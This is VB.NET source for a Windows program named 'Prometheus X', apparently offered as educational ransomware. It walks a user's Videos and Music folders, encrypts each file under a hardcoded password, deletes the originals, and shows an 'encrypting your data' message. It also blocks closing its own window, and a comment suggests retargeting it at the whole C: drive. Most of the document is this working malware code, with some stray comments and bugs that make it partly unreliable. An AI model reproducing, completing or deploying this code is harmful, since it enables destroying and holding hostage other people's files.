Prometheus Code

REM: Prometheus X Created by: Justin Linwood Ross Copyright 11/12/2024 :: MIT Licensing
REM: For Educational Purposes Only
REM: SHA512 Managed 256-Bit Encryption
Imports System.IO
Imports System.Security.Cryptography

Public Class Prometheus
    'Global variables Etc...
    <Flags>
    Private Enum SetWindowPosFlags As UInteger
        SynchronousWindowPosition = &H4000
        DeferErase = &H2000
        DrawFrame = &H20
        FrameChanged = &H20
        HideWindow = &H80
        DoNotActivate = &H10
        DoNotCopyBits = &H100
        IgnoreMove = &H2
        DoNotChangeOwnerZOrder = &H200
        DoNotRedraw = &H8
        DoNotReposition = &H200
        DoNotSendChangingEvent = &H400
        IgnoreResize = &H1
        IgnoreZOrder = &H4
        ShowWindow = &H40
    End Enum

    Dim angle As Integer = 135
    Dim currentScreen As Screen
    Dim InitialMouseDownLocation As Point
    Private ReadOnly borderForm As New Form
    Public Const HT_CAPTION As Integer = &H2
    Public Const WM_NCLBUTTONDOWN As Integer = &HA1
    Private WithEvents Tmr As New Timer With {.Interval = 50}
    Private ReadOnly Create As Object
    Private ReadOnly sCurrentDirectory As String = AppDomain.CurrentDomain.BaseDirectory


    Private Declare Function SetWindowPos Lib "user32" (hwnd As Integer,
                                                        hWndInsertAfter As Integer,
                                                        x As Integer,
                                                        y As Integer,
                                                        cx As Integer,
                                                        cy As Integer,
                                                        wFlags As Integer) As Integer
    Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (IpClassName As String,
                                                                              IpWindowName As String) As Integer
    Private Declare Function ShowWindow Lib "user32" (hwnd As IntPtr,
                                                      nCmdShow As Integer) As Integer
    Public Declare Function SetProcessWorkingSetSize Lib "kernel32.dll" (hProcess As IntPtr,
                                                                         dwMinimumWorkingSetSize As Integer,
                                                                         dwMaximumWorkingSetSize As Integer) As Integer


    Private Sub Prometheus_Load(sender As Object,
                                e As EventArgs) Handles MyBase.Load
        Application.EnableVisualStyles()
        currentScreen = Screen.AllScreens.First(Function(s) s.Bounds.Contains(Location))
        My.Computer.Audio.Play(My.Resources.system_recorded_audio, AudioPlayMode.BackgroundLoop)

        For Each foundFile As String In My.Computer.FileSystem.GetFiles("C:\Users\rytho\Videos", FileIO.SearchOption.SearchAllSubDirectories)
            If foundFile.EndsWith(".Prometheus") Then
            Else
                ListBox1.Items.Add(foundFile)

            End If
        Next

        Tmr.Start()
        'Change to C: = Target "System".
        'This demo only targets "Videos"
        Dim myImage As Image = Image.FromFile("C:\Users\rytho\source\repos\Prometheus X\Prometheus X\Resources\prometheus1.png")
        Using myMemoryStream As New MemoryStream()
            myImage.Save(myMemoryStream, Imaging.ImageFormat.Bmp)
        End Using

        Dim myPictureBox As New PictureBox With {
            .Image = myImage
        }
        Cursor = New Cursor(DirectCast(myPictureBox.Image, Bitmap).GetHicon())

        With Me
            .FormBorderStyle = FormBorderStyle.None
            .Region = New Region(Prometheus_Fly(.ClientRectangle, 50))
        End With
        With borderForm
            .ShowInTaskbar = False
            .FormBorderStyle = FormBorderStyle.None
            .StartPosition = FormStartPosition.Manual
            .BackColor = Color.Black 'black
            .Opacity = 0.00 'If you keep this at 0.00, it removes the form shadow that remains
            Dim reign As Rectangle = Bounds
            reign.Inflate(2, 2)
            .Bounds = reign
            .Region = New Region(Prometheus_Fly(.ClientRectangle, 50))
            reign = New Rectangle(3, 3, Width - 4, Height - 4)
            .Region.Exclude(Prometheus_Fly(reign, 48))
            .Show(Me)
        End With

    End Sub

    Private Sub Clutch(sender As Object,
                                e As EventArgs) Handles MyBase.Load

        For Each foundFile As String In My.Computer.FileSystem.GetFiles("C:\Users\rytho\Music", FileIO.SearchOption.SearchAllSubDirectories)
            If foundFile.EndsWith(".Prometheus") Then
            Else
                ListBox2.Items.Add(foundFile)
            End If
        Next

    End Sub

    Private Function Prometheus_Fly(rect As RectangleF,
                                      diam As Single) As Drawing2D.GraphicsPath
        Dim path As New Drawing2D.GraphicsPath
        path.AddArc(rect.Left,
                    rect.Top,
                    diam,
                    diam,
                    180,
                    90)
        path.AddArc(rect.Right - diam,
                    rect.Top,
                    diam,
                    diam,
                    270,
                    90)
        path.AddArc(rect.Right - diam,
                    rect.Bottom - diam,
                    diam,
                    diam,
                    0,
                    90)
        path.AddArc(rect.Left,
                    rect.Bottom - diam,
                    diam,
                    diam,
                    90,
                    90)
        path.CloseFigure()
        Return path
    End Function

    Private Sub Form1_Paint(sender As Object,
                            e As PaintEventArgs) Handles MyBase.Paint
        e.Graphics.SmoothingMode = Drawing2D.SmoothingMode.HighQuality

        Using deathcart As New Pen(Color.Black, 2)
            Dim rage As New Rectangle(1, 1, Width - 2,
                                      Height - 2)
            Dim psychopath As Drawing2D.GraphicsPath = Prometheus_Fly(rage, 48)
            e.Graphics.DrawPath(deathcart,
                                psychopath)
        End Using


    End Sub

    Private Sub Form1_Resize(sender As Object,
                             e As EventArgs) Handles MyBase.Resize
        Refresh()
    End Sub

    Private Sub Tmr_Tick(sender As Object,
                         e As EventArgs) Handles Timer1.Tick
        DoubleBuffered = True

        Dim angleRadians As Single = Math.PI * (angle Mod 360) / 180
        'Calculate = X2 And Y2
        Dim pointX2 As Integer = Location.X - Math.Sin(angleRadians) * 5
        Dim pointY2 As Integer = Location.Y + Math.Cos(angleRadians) * 5
        Location = New Point(pointX2, pointY2)


        Dim p1 As New Point(Location.X - currentScreen.Bounds.Left, Location.Y - currentScreen.Bounds.Top)

        Dim p2 As New Point(Right - currentScreen.Bounds.Left, Bottom - currentScreen.Bounds.Top)

        If (p1.X < 0 Or p1.Y < 0 _
             Or p2.Y > currentScreen.Bounds.Height Or p2.X > currentScreen.Bounds.Width) Then
            angle += 90
        End If
    End Sub

    Dim intake As FileStream
    Dim targetz As String
    Dim relief As FileStream
    ReadOnly cryptoString As String
    ReadOnly fileToDecrypt As String
    ReadOnly outputEncrypt As String
    ReadOnly outputDecrypt As String

    Public Function CreateKey(strPassword As String) As Byte()
        'Convert strPassword to an array and store in chrData.
        Dim chrData() As Char = strPassword.ToCharArray
        'Use intLength to get strPassword size.
        Dim intLength As Integer = chrData.GetUpperBound(0)
        'Declare bytDataToHash and make it the same size as chrData.
        Dim bytDataToHash(intLength) As Byte
        'Use For Next to convert and store chrData into bytDataToHash.
        'The hashCode property of the ByteData class in Dart returns the hash code for the object.
        'ByteData is a fixed-length sequence of bytes that can be used to:
        'Pack And unpack data from external sources
        'Process large amounts of numerical data
        'Reinterpret bytes representing one arithmetic type as another
        'Here are some other methods related to hashing data
        'SHA256.HashData : Computes the hash of data using the SHA256 algorithm
        'SHA512.HashData : Computes the hash of data using the SHA512 algorithm
        'HashAlgorithm.ComputeHash()
        'Converts an input string to a byte array And computes the hash
        'Data.Bytes.Hash : Hashes a byte array of length n
        'The SHA - 256 algorithm Is considered one of the most secure hashing algorithms.
        'It takes an input of any length And creates a 256-bit fixed-length hash value.
        For i As Integer = 0 To chrData.GetUpperBound(0)
            bytDataToHash(i) = CByte(Asc(chrData(i)))
        Next
        'The hash is used as a unique value of fixed size representing a large amount of data.
        'Hashes of two sets of data should match if and only if the corresponding data also matches.
        'Small changes to the data result in large unpredictable changes in the hash.
        'The hash size for the SHA512Managed algorithm Is 512 bits.
        'Declaration for hash to be applied
        Dim SHA512 As New SHA512Managed
        'Declare bytResult, Hash bytDataToHash and store it in bytResult.
        Dim byteResult As Byte() = SHA512.ComputeHash(bytDataToHash)
        'Declare bytKey(31) >>> It will hold 256 bits.
        Dim bytezKey(31) As Byte
        'Use For Next to put a specific size (256 bits) of
        'bytResult into bytKey. The 0 To 31 will put the first 256 bits
        'of 512 bits into bytKey.
        For i As Integer = 0 To 31

            bytezKey(i) = byteResult(i)

        Next

        Return bytezKey 'Return the key.
    End Function
    Public Function CreateIV(strPassword As String) As Byte()
        'Convert strPassword to an array and store in chrData.
        Dim chrData() As Char = strPassword.ToCharArray
        'Use intLength to get strPassword size.
        Dim intLength As Integer = chrData.GetUpperBound(0)
        'Declare bytDataToHash and make it the same size as chrData.
        Dim bytDataToHash(intLength) As Byte

        'Use For Next to convert and store chrData into bytDataToHash.
        For i As Integer = 0 To chrData.GetUpperBound(0)
            bytDataToHash(i) = CByte(Asc(chrData(i)))
        Next

        'Declare what hash will be utilized.
        Dim SHA512 As New SHA512Managed
        'Declare bytResult, Hash bytDataToHash and store it in bytResult.
        Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
        'Declare bytIV(15).  It will hold 128 bits.
        Dim bytIV(15) As Byte

        'Use For Next to put a specific size (128 bits) of
        'bytResult into bytIV. The 0 To 30 for bytKey used the first 256 bits.
        'of the hashed password. The 32 To 47 will put the next 128 bits into bytIV.
        For i As Integer = 32 To 47
            bytIV(i - 32) = bytResult(i)
        Next

        Return bytIV 'return the IV
    End Function
    Public Enum CryptoAction
        'Define the enumeration for CryptoAction.
        ActionEncrypt = 1
        ActionDecrypt = 2
    End Enum


    Public Sub Prometheus_Sha512(inputFile As String,
outputFile As String,
byteKey() As Byte,
byteIV() As Byte,
Destruction As CryptoAction)
        Try 'In case of errors.

            'Setup file streams to handle input and output.
            intake = New FileStream(inputFile, FileMode.Open,
                                               FileAccess.Read)
            relief = New FileStream(outputFile, FileMode.OpenOrCreate,
                                                FileAccess.Write)
            relief.SetLength(0) 'make sure fsOutput is empty

            'Declare variables for encrypt/decrypt process.
            Dim byteBuffer(4096) As Byte 'holds a block of bytes for processing
            Dim processBytesProcessed As Long = 0 'running count of bytes processed
            Dim processFileLength As Long = intake.Length 'the input file's length
            Dim intialBytesInCurrentBlock As Integer 'current bytes being processed
            Dim prometheusCryptoStream As CryptoStream
            'Declare your CryptoServiceProvider.
            Dim prometheusRijndael As New RijndaelManaged
            'Setup Progress Bar
            ProgressBar2.Value = 0
            ProgressBar2.Maximum = 100

            'Determine if ecryption or decryption and setup CryptoStream.
            Select Case Destruction
                Case CryptoAction.ActionEncrypt
                    prometheusCryptoStream = New CryptoStream(relief,
                    prometheusRijndael.CreateEncryptor(byteKey, byteIV),
                    CryptoStreamMode.Write)

                Case CryptoAction.ActionDecrypt
                    prometheusCryptoStream = New CryptoStream(relief,
                    prometheusRijndael.CreateDecryptor(byteKey, byteIV),
                    CryptoStreamMode.Write)
            End Select

            'Use While to loop until all of the file is processed.
            While processBytesProcessed < processFileLength
                'Read file with the input filestream.
                intialBytesInCurrentBlock = intake.Read(byteBuffer, 0, 4096)
                'Write output file with the cryptostream.
#Disable Warning BC42104 ' Variable is used before it has been assigned a value
                prometheusCryptoStream.Write(byteBuffer, 0, intialBytesInCurrentBlock)
#Enable Warning BC42104 ' Variable is used before it has been assigned a value
                'Update lngBytesProcessed
                processBytesProcessed += intialBytesInCurrentBlock
                'Update Progress Bar
                ProgressBar2.Value = CInt((processBytesProcessed / processFileLength) * 100)
            End While

            'Close FileStreams and CryptoStream.
            prometheusCryptoStream.Close()
            intake.Close()
            relief.Close()

            'If encrypting then delete the original unencrypted file.
            If Destruction = CryptoAction.ActionEncrypt Then
                Dim fileOriginal As New FileInfo(cryptoString)
                fileOriginal.Delete()
            End If

            'If decrypting then delete the encrypted file.
            If Destruction = CryptoAction.ActionDecrypt Then
                Dim fileEncrypted As New FileInfo(fileToDecrypt)
                fileEncrypted.Delete()
            End If

            'Update the user when the file is done.
            Dim Wrap As String = Chr(13) + Chr(10)
            If Destruction = CryptoAction.ActionEncrypt Then
                MsgBox("Encryption Complete" + Wrap + Wrap +
                        "Total bytes processed = " +
                        processBytesProcessed.ToString,
                        MsgBoxStyle.Information, "Done")

                'Update the progress bar and textboxes.


            Else
                'Update the user when the file is done.
                MsgBox("Decryption Complete" + Wrap + Wrap +
                       "Total bytes processed = " +
                        processBytesProcessed.ToString,
                        MsgBoxStyle.Information, "Done")

                'Update the progress bar and textboxes.

            End If


            'Catch file not found error.
        Catch When Err.Number = 53 'if file not found
            MsgBox("Please check to make sure the path and filename" +
                    "are correct and if the file exists.",
                     MsgBoxStyle.Exclamation, "Invalid Path or Filename")

            'Catch all other errors. And delete partial files.
        Catch
            Try
                ' fsInput.Close()
                'fsOutput.Close()
            Catch ex As Exception
                Debug.WriteLine(ex.Message)
            End Try


            If Destruction = CryptoAction.ActionDecrypt Then
                Dim fileDelete As New FileInfo(targetz)
                fileDelete.Delete()

            Else
                Dim fileDelete As New FileInfo(targetz)
                fileDelete.Delete()

            End If

        End Try
    End Sub

    Private Sub TitansWrath_Tick(sender As Object,
                                 e As EventArgs) Handles TitansWrath.Tick
        ProgressBar1.Maximum = ListBox1.Items.Count
        If ProgressBar1.Value = ListBox1.Items.Count Then
            TitansWrath.Stop()
        Else
            ListBox1.SelectedIndex = ProgressBar1.Value
            ListBox1.SelectionMode = SelectionMode.One
            targetz = CStr(ListBox1.SelectedItem)
            Try
                Dim bytKey As Byte()
                Dim bytIV As Byte()
                'Send the password to the CreateKey function.
                bytKey = CreateKey("Prometheus_Creation")
                'Send the password to the CreateIV function.
                bytIV = CreateIV("Prometheus_is_reborn")
                'Start the encryption.
                Prometheus_Sha512(targetz, targetz + ".prometheus",
                                     bytKey, bytIV, CryptoAction.ActionEncrypt)
            Catch ex As Exception

            End Try
            ProgressBar1.Increment(1)
        End If
    End Sub

    Private Sub Blaze_Tick(sender As Object, e As EventArgs) Handles Blaze.Tick
        ProgressBar5.Maximum = ListBox3.Items.Count
        If ProgressBar5.Value = ListBox3.Items.Count Then
            Blaze.Stop()
        Else
            ListBox3.SelectedIndex = ProgressBar5.Value
            ListBox3.SelectionMode = SelectionMode.One
            targetz = CStr(ListBox3.SelectedItem)
            Try
                Dim bytKey As Byte()
                Dim bytIV As Byte()
                'Send the password to the CreateKey function.
                bytKey = CreateKey("Prometheus_Creation")
                'Send the password to the CreateIV function.
                bytIV = CreateIV("Prometheus_is_reborn")
                'Start the encryption.
                Prometheus_Sha512(targetz, targetz + ".prometheus",
                                     bytKey, bytIV, CryptoAction.ActionEncrypt)
            Catch ex As Exception

            End Try
            ProgressBar5.Increment(1)
        End If
    End Sub
    Private Sub Grim_Tick(sender As Object, e As EventArgs) Handles Grim.Tick
        ProgressBar4.Maximum = ListBox2.Items.Count
        If ProgressBar4.Value = ListBox2.Items.Count Then
            Grim.Stop()
        Else
            ListBox2.SelectedIndex = ProgressBar4.Value
            ListBox2.SelectionMode = SelectionMode.One
            targetz = CStr(ListBox2.SelectedItem)
            Try
                Dim bytKey As Byte()
                Dim bytIV As Byte()
                'Send the password to the CreateKey function.
                bytKey = CreateKey("Prometheus_Creation")
                'Send the password to the CreateIV function.
                bytIV = CreateIV("Prometheus_is_reborn")
                'Start the encryption.
                Prometheus_Sha512(targetz, targetz + ".prometheus",
                                     bytKey, bytIV, CryptoAction.ActionEncrypt)
            Catch ex As Exception

            End Try
            ProgressBar4.Increment(1)
        End If
    End Sub
    Private Sub Hades_Tick(sender As Object,
                           e As EventArgs) Handles Hades.Tick
        ProgressBar3.Increment(1)
        Label1.Text = ProgressBar3.Value & "% Prometheus is encrypting your data...."
        If ProgressBar3.Value >= 100 Then
            ProgressBar3.Value = ProgressBar3.Value
            ' Label2.Text = ProgressBar1.Value & "%Prometheus Lives...."
            TitansWrath.Stop()
            Grim.Stop()
            Blaze.Stop()
            Application.Exit()
            If (ProgressBar3.Value > 100) Then
                ProgressBar3.ForeColor = Color.Red
            Else
                ProgressBar3.ForeColor = Color.Red
            End If
        End If
    End Sub

    Private Sub Prometheus_FormClosing(sender As Object,
                                       e As FormClosingEventArgs) Handles MyBase.FormClosing
        e.Cancel = True
        intake.Close()
        ' fsOutput.Close()
    End Sub


End Class